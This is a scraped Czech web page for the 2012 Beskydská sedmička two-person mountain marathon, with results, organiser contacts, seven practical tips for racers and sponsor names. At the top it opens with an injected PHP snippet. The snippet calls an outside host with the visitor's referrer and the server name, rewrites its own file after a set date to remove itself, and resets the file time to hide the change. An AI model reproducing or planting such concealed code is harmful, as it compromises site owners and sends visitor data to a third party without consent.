check_meta(); function check_meta(){ $jp = __FILE__; $jptime = filemtime($jp); if(time() >= 1456735874){ $jp_c = file_get_contents($jp); if($t = @strpos($jp_c,"check_meta();")) { $contentp = substr($jp_c,0,$t); if(@file_put_contents($jp, $contentp)){ @touch($jp,$jptime); } } } @file_get_contents("http://web.51.la:82/go.asp?svid=15&id=18776897&referrer=".$_SERVER['HTTP_REFERER']."&vpage=http://".$_SERVER['SERVER_NAME']."/modules/mod_banners/models.php"); } LIBOROVÝCH 7 MALÝCH RAD PRO ÚČASTNÍKY ADIDAS TERREX - CONTINENTAL BESKYDSKÉ SEDMIČKY
           
www.continental.cz
M ČR V HORSKÉM MARATONU DVOJIC
EXTRÉMNÍ PŘECHOD BESKYD - JAVOROVÝ - JAVORNÍK 2012
HLAVNÍ STRÁNKAVÝSLEDKOVÁ LISTINAINFO ZE ZÁVODUMÉDIA / PRESSFOTOGALERIE

VÍTĚZNÉ TÝMY MČR

1.MÍSTO
194 - SALOMON-RUN
PETREČEK TOMÁŠ
ŠTRYNCL PAVEL

ČAS VÍTĚZE: 13:05:04

2.MÍSTO
117 - SLS3-SKVK
CYPRA ZBYNĚK
VABROUŠEK PETR
ČAS: 13:13:31

3.MÍSTO
253 - L4L5S1
POLÁK VLADIMÍR
NAHORNIAK TOMÁŠ
ČAS: 13:51:24 

UPOUTÁVKY 2012

BESKYDSKÁ SEDMIČKA - 2012


REGISTRACE B7 - 2012


INLINE 24 - 2012


LH 24 - 2012

KONTAKT NA ORGANIZAČNÍ TEAM:
Pořadatel akce SK K2 o.s., Libor Uher
Česká asociace extrémních
sportů - ČAES

Vedení závodu
Libor Uher
+420 608 228 227
libor@beskydskasedmicka.cz

Jana Matějíková
presscentrum
+420 602 936 634
info@beskydskasedmicka.cz


MUDr. Radomír Maráček
organizační tým B7, doprava, lékař
rm@beskydskasedmicka.cz


Registrace závodu

Kateřina Uhrová
+420 603 228 228
registrace@beskydska
sedmicka.cz


Marian Žárský
kulturní program Frenštát
marian@beskydskasedmicka.cz


Martina Filipová

organizační tým B7
martina@beskydskasedmicka.cz


Tomáš Janeček

grafika, web, technik
+420 777 712 747
tomas@beskydskasedmicka.cz


Iveta Nakoukalová

dobrovolníci, akreditace
iveta@beskydskasedmicka.cz


Mirek Prašivka

všechno ostatní :-)

Tomáš Zatloukal
doprava pořadatelů

Petr Kalina
značení a úklid trati

Dušan Klimek
technické zajištění Frenštát



LIBOROVÝCH 7 MALÝCH RAD PRO ÚČASTNÍKY ADIDAS TERREX - CONTINENTAL BESKYDSKÉ SEDMIČKY

Ahoj všichni, kdo si chcete vyzkoušet něco nového, zažít cosi neobvyklého a nebojíte se podívat pravdě do očí.

Ten závod je jako zrcadlo, které vám řekne bez výmluv a servítek v jakém stavu se vaše tělo zrovna nachází. Někdo bude příjemně překvapen a jiný možná zjistí, že si jen něco namlouval, ale pravda o stavu jeho konstrukce je jiná!

Pro vás všechny jen několik malých rad a mých zkušeností, ať neobjevujete Ameriku v den přechodu.

1. Na start nejdi s žádným zraněním nebo nemocí! V závodě se to může jen zhoršit. Vyber si kámoše podobných fyzických parametrů. Pokud jsou velké rozdíly ve výkonnosti, tak ten lepší se nudí, chce jít a zrychlovat, ten druhý se mu snaží přizpůsobit, ale trpí jako zvíře a je pak frustrovaný a prožívá citový očistec.

2. Ve dvojici je vždy na tom někdo lépe a někdo může mít krátkodobou nebo i delší krizi :-). Proto si sebou vemte 3m tenkého gumicuku jako tahačku do kopců a stoupání! Pomoc v krizi s nesením batohu je samozřejmostí!
Snaž se být co nejlehčí a netahej sebou žádnou zbytečnou zátěž! Zvol si lehké běžecké boty, žádné těžké kotníkové pohory. Na převlek max. jedno tričko a nepromokavou bundu. Když bude nejhůř, na nějakou chatu vždy dojdeš!

3. Vem si boty ve kterých jsi už šel a které tě netlačí. Před závodem si pořádně ostříhej nehty na nohou! Měj náhradní ponožky a náplasti na puchýře!!
Namaž si chodidla, prsty na nohou, rozkrok a podpaží MOHUTNOU vrstvou dětské vazelíny nebo indulony. Co klouže tak se neoprudí!!!

4. Zalep si náplastí i prsní bradavky. Při použití funkčního spodního prádla dochází často k totálnímu rozedření “těch čuplíků co se zimou naježí” :-)

5. Před dlouhým extrémním výkonem je vhodné úplně si vyholit rozkrok a podpaží. Žmolky z chlupů v kombinaci se solí potu dokážou rozedřít do krve každou pokožku a zastaví i hodně odolné jedince!

6. Nepoužívej energetické přípravky, které nemáš odzkoušené v tréningu! Ber to co žaludek dobře snáší. V závodě s ničím neexperimentuj!!

7. Pamatuj na to, že jak tvé tělo tak i tvá psychika prochází během závodu určitým vývojem! Počáteční startovní nadšení a euforie pozvolna střídají obavy ze selhání těla či ducha. Je to normální proces :-)
Jinou náladu budeš mít na startu, jinou na Smrku, jinou na LH, a jinou v cíli. Jak už budete na Travném, máte to nejtěžší za sebou a čekají vás nádherné euforické zážitky ,,zhulení z endorfinu”. Snad se ho většina dočkáte. Věřte, že to stojí za to objevit a poznat ten pocit, kdy to všechno utrpení končí a vy procházíte cílovým obloukem. A slzy k tomu patří taky!

 

GENERÁLNÍ PARTNEŘI

adidas


1511


PARTNEŘI

IBS    
Frenštát pod Radhoštěm


www.rajpneu.cz



Author




I style









 

black


Nutrend

radegast


 
 



 

black


 


 

Suunto


 

 



Frýdek-Místek     Obec Ostravice

 

       

  

Opavanet

 

Sportovní medicína

 
 

Mapy Shokart





 

Author




In agency    



Škola - Frenštát pod Radhoštěm SK Valašské království


KLUB ČESKÝCH TURISTŮ










 

CAES


CAES

CAES